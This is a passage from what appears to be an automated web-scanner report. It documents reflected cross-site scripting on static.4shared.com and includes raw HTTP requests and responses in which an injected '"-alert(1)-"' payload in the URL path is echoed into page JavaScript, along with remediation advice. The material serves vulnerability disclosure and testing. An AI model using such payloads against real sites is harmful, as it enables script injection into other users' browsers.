User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /images/icons/16x16/stop.gif34543&quot;-alert(1)-&quot;e3036abd11
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=6DA068FC8810374C5C44DC7CA61476B5.dc292; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 23 Feb 2011 21:49:29 GMT
Content-Length: 36244


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://www.4shared.com/-->

...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/images/icons/16x16/stop.gif34543"-alert(1)-"e3036abd11";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.263. http://static.4shared.com/images/icons/misc/upload.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /images/icons/misc/upload.gif

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d12c3"-alert(1)-"47c5b2bb8a7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesd12c3"-alert(1)-"47c5b2bb8a7/icons/misc/upload.gif HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hostid=220011363; __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=210074320.1172937508.1297862350.1297862350.1297862350.1; __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /imagesd12c3&quot;-alert(1)-&quot;47c5b2bb8a7/icons/misc/upload.gif
Server: Apache-Coyote/1.1<